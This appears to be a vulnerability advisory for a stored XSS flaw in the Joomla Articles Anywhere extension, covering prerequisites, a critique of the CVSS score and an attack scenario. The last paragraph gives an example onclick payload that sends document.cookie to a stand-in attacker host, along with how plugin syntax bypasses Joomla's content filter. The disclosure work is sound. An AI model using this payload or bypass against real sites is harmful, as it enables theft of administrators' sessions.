Articles Anywhere CVE-2026-85195

Three concrete prerequisites must be met: (1) the Articles Anywhere Free or Pro extension must be installed and enabled on the Joomla site; (2) the attacker must hold at minimum a Joomla Author account, granting the ability to create or edit articles; (3) a victim with a meaningful browser session - typically an Editor, Publisher, or Administrator - must load a page rendering the attacker-controlled article with Articles Anywhere active. Exploitation is limited to authenticated attackers (no unauthenticated path exists); the required Author role is generally the lowest content-contributor role in Joomla, which limits but does not eliminate the attacker population. Sites that do not grant Author or higher accounts to untrusted users are not directly at risk.

The provided CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:H/UI:N - score 7.5) warrants scrutiny on two metrics. PR:H (High privilege) appears overstated: the description explicitly names the 'article author trust level' as the relevant control boundary, and Joomla's Author role is a low-privilege content-contributor role, not an administrator. AT:P (attack requirements present) correctly captures the prerequisite that the extension must be installed. The impact metrics VC:H/VI:H reflect potential session hijack and content manipulation against victims such as site administrators who view compromised articles, which is realistic for stored XSS. No CISA KEV listing and no public POC have been identified, keeping the realistic exploitation probability lower than the impact metrics alone suggest. The primary elevated risk factor is the architectural filter bypass, which is not addressable by Joomla permission hardening alone.

An authenticated Joomla Author crafts an article body using Articles Anywhere plugin syntax and embeds a link option such as onclick="document.location='https://attacker.example/steal?c='+document.cookie". Because Joomla's content filter sees inert plugin syntax rather than HTML, the payload passes. When a site administrator subsequently previews or publishes the article, Articles Anywhere renders the event handler as a live HTML attribute and the JavaScript executes in the administrator's browser, enabling session token theft. No public exploit code has been identified at time of analysis.